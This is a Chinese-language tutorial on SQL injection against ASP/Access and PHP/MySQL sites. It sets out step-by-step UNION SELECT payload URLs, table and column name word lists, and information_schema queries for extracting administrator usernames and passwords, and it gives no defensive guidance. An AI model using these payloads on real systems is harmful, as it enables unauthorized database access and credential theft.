本文主要介绍两种SQL注入漏洞:
一、ASP+ACCESS注入
二、PHP+MYSQL
一、ASP+ACCESS注入
SQL注入思路:找注入点 -> 判断是否为注入点 -> 猜表名 -> 猜字段名 -> 爆出字段内容
1、找注入点
那么何为注入点?有参数进行数据库传递的都可判为注入点。以此URL为例:
xxx.xxx.xx.xx/show.asp?id=1
//其中id即为参数,如果此URL用SQL语句来表示的话:则向数据库中进行查询的语句为
//select * from show where id=1;
2、判断是否为注入点
测试语句:
xxx.xxx.xx.xx/show.asp?id=1 and 1=1 返回正常界面
xxx.xxx.xx.xx/show.asp?id=1 and 1=2 返回异常
说明此SQL语句已被带入到数据库执行,因此存在注入。
3、猜表名
xxx.xxx.xx.xx/show.asp?id=1 and exists(select * from admin)
and 连接exists()函数用来检查是否存在admin表。回车后,如果页面显示正常则说明存在admin表
一些常见的表名:admin user adminuser manage manager manage_user
4、猜字段名
xxx.xxx.xx.xx/show.asp?id=1 and exists(select username,password from admin)
一些常见的字段名:
账户:name username user_name admin adminuser admin_user admin_username adminname
密码:password pass passwd userpass user_pass pwd userpwd admin_pwd
猜字段名时可以找出后台管理登陆界面,通过查看源代码,可以根据name="username",根据name的value值获取字段名。
5、爆出字段内容
猜字段内容时,需要用到联合查询。联合查询的使用前提是前后字段数必须保持一致,否则就会报错。
猜字段数:xxx.xxx.xx.xx/show.asp?id=1 order by 5 //一般从大到小猜
联合查询:xxx.xxx.xx.xx/show.asp?id=1 union select 1,2,3,4,5 from admin
页面可能回显数字2,3
则用可能的字段名代替2,3,爆出字段内容
xxx.xxx.xx.xx/show.asp?id=1 union select 1,username,password,4,5 from admin
既可猜解字段数量,又可获得可以显示内容的字段
xxx.xxx.xx.xx/show.asp?id=1 union select 1,2,3,4,5 from admin
挨个从1开始试
二、PHP+MYSQL
php+mysql 不需要我们去猜各种表或者字段名,因为在information_schema中储存着用户在MySQL中创建的其他所有数据库的信息。实际上,在对此种类型的网站进行注入时,主要是针对information_schema数据库进行操作。
- information_schema中比较重要的表:
- schemata:用于存放所有数据库的名字
- tables:用于存放所有数据库中的表的名字
- columns:用于存放所有数据库中的表的字段的名字
查看test数据库中包含了哪些表:
select table_name from information_schema.tables where table_schema="test";
table_name:test数据库中所有的表名
table_schema:数据库名
查看hack数据表中包含了哪些字段:
select column_name from information_schema.columns where table_name="hack"
column_name:表中所有的字段名
SQL注入思路:找注入点 -> 判断是否为注入点 -> 猜字段数量 -> 判断可显字段 -> 爆出当前版本、当前用户、当前数据库字段内容 -> 爆出数据表
1、注入点部分在此不再赘述,直接进入常规操作。
2、判断可显字段
xxx.xxx.xx.xx/show.php?id=1 and 1=2 union select 1,2,3,4,5
此处需要注意的是:php+mysql不需要指定数据表名,直接猜出字段数量再select 1,2,3,4,5就可以了
另外还需要注意的是:and 1=2是为了只显示union select后的查询内容,而不显示前面的内容
3、爆出当前版本、当前用户、当前数据库字段内容
如果回显2,3
xxx.xxx.xx.xx/show.asp?id=1 and 1=2 union select 1,version(),3,4,5
version()的目的在于判断是否为5.0以上版本,因为只有5.0以上版本的mysql才会有元数据库
xxx.xxx.xx.xx/show.asp?id=1 and 1=2 union select 1,2,user(),4,5
user()显示当前用户
xxx.xxx.xx.xx/show.asp?id=1 and 1=2 union select 1,2,database(),4,5
database()显示当前数据库
4、爆出数据表
xxx.xxx.xx.xx/show.php?id=1 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema="test";
在此说明一下,group_concat()可以显示字段中的所有内容
xxx.xxx.xx.xx/show.php?id=1 and 1=2 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema="test";
5、爆出字段名:
xxx.xxx.xx.xx/show.php?id=1 and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_name="admin"
6、爆出字段内容(用户名和密码):
xxx.xxx.xx.xx/show.php?id=1 and 1=2 union select 1,unhex(hex(username)),unhex(hex(password)),4,5 from admin
unhex(hex())解决网站编码不一致的问题,进行编码转换